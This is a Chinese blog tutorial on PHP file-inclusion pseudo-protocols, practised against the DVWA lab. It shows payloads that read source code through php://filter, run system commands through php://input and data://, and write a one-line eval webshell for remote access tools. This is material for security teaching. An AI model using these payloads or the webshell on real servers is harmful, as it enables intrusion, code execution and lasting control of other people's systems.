allow_url_fopen与allow_url_include

参数位于php.ini

  • allow_url_fopen
    是否允许将URL(HTTP,HTTPS等)作为文件打开处理
  • alow_url_include
    是否允许include()和require()函数包含URL(HTTP,HTTPS)作为文件处理

从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的。

php://fliter

靶场DVWA


low级别

?page=php://filter/read=convert.base64-encode/resource=../../vulnerabilities/fi/source/low.php
# php://是协议
# php://filter/是一种访问本地文件的协议
# /read=convet.basse64-encode/指的是以将原文件转化为base64后读取
# resource=file1.php读取文件名称
PD9waHANCg0KLy8gVGhlIHBhZ2Ugd2Ugd2lzaCB0byBkaXNwbGF5DQokZmlsZSA9ICRfR0VUWyAncGFnZScgXTsNCg0KPz4NCg==
解码
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

php://input

以POST形式提交数据,并执行代码,所以需要allow_url_include=On
在 hackerbar 中不能执行

<?php system(dir);?>


由于提交的代码无法持久化的控制,也可以通过代码执行写入一句话木马,通过蚁剑、冰蝎来连接

<?php  fputs(fopen('test.php','w'),'<?php @eval($_POST[test]);?>');?>

data://

条件:
allow_url_fopen:on
allow_url_include :on
作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

data://text/plain,<?php phpinfo(); ?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B
//注意这里要url编码

http://与https: //

条件:
allow_url_fopen:on
allow_url_include :on
作用:
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

phar://

可访问压缩包内容

注意若压缩包内存在文件夹需要加路径

版权声明:本文为sovo原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Sovohost-43/p/16026746.html